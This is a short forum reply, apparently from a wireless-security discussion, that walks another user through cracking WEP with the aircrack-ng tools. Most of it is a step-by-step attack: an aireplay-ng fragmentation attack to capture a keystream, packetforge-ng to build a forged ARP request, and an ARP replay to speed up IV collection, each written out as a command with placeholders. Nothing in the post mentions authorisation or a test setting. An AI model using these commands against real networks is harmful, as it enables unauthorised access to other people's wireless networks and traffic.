vstp - I stand corrected. I vaguely recalled omitting the -h argument and getting an error message, what I didn't recall was it continuing, as you said, assuming the card's MAC.
Have you tried the Fragmentation attack?
The key stream will be captured to a .xor file, which will be used to conduct packet forging
aireplay-ng -5 -b <AP MAC> -h <iface MAC (optional :D)> <iface>
Then inject forged packet
packetforge-ng -0 -a <AP MAC> -h <iface MAC> -k 255.255.255.255 -l 255.255.255.255 -y <filename .xor from previous step> -w <arp-rqst>
That should speed up IV collection.
aireplay-ng -2 -r <arp-rqst> <iface>